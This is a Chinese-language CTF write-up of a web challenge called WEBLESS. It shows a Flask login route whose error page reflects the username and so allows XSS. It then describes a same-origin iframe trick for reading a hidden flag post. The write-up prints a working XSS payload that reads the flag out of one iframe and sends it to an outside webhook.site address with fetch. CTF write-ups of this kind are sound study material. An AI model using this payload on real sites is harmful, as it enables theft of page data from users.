感谢bao师傅给的题目环境,再次为bao师傅感到惋惜,respect
WEBLESS#
进入页面发现有注册和登录的功能
@app.route("/login", methods=["GET", "POST"])
def login():
if "username" in session:
return redirect(url_for("index"))
username = request.args.get("username") or request.form.get("username")
password = request.args.get("password") or request.form.get("password")
if username and password:
if username in users and users[username] == password:
session["username"] = username
return redirect(url_for("index"))
return render_template("invalid.html", user=username), 401
return render_template("login.html")
这里在用户名错误的时候会重定向到401页面,这个地方可以触发一个xss
resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
最后要拿到post/0
users = {ADMIN_USERNAME: ADMIN_PASSWORD}
= [{
"id": 0,
"author": ADMIN_USERNAME,
"title": "FLAG",
"description": FLAG,
"hidden": True
}]
这里学到的新思路就是
同域的iframe之间能互相获取DOM树
并且iframe是具有独立的dom树的 所以我们的思路就是利用iframe打开post/0然后再开一个iframe跳转到上面能触发xss的401页面,将flag外带出来 脚本:
<script>
const parent = window.parent;
const iframe = parent.document.getElementById('flag');
const iframe_content = iframe.contentDocument;
const flag = iframe_content.getElementById('description').innerText;
fetch('https://webhook.site/6052234e-4f53-4fad-97c4-0da418a1c062/?flag='+flag);
</script>
playload:
<iframe id="flag" src="/post/0" style="width:0;height:0;border:0;visibility:hidden"></iframe>
<img a="wait" src="x">
<img a="wait" src="x">
<img src="x">
<img src="x">
<img src="x">
<img src="x">
<img src="x">
<iframe credentialless src="/login?username=%3Cscript%3E+const+parent+%3D+window.parent%3B+const+iframe+%3D+parent.document.getElementById%28%27flag%27%29%3B+const+iframe_content+%3D+iframe.contentDocument%3B+const+flag+%3D+iframe_content.getElementById%28%27description%27%29.innerText%3B+fetch%28%27https%3A%2F%2Fwebhook.site%2F6052234e-4f53-4fad-97c4-0da418a1c062%2F%3Fflag%3D%27%2Bflag%29+%3C%2Fscript%3E&password=1" style="width:0;height:0;border:0;visibility:hidden"></iframe>
这个比赛先复现这一个了,因为其他题目环境有问题来着,弄了两天了,下次遇到相同知识点再学就行了,没必要死磕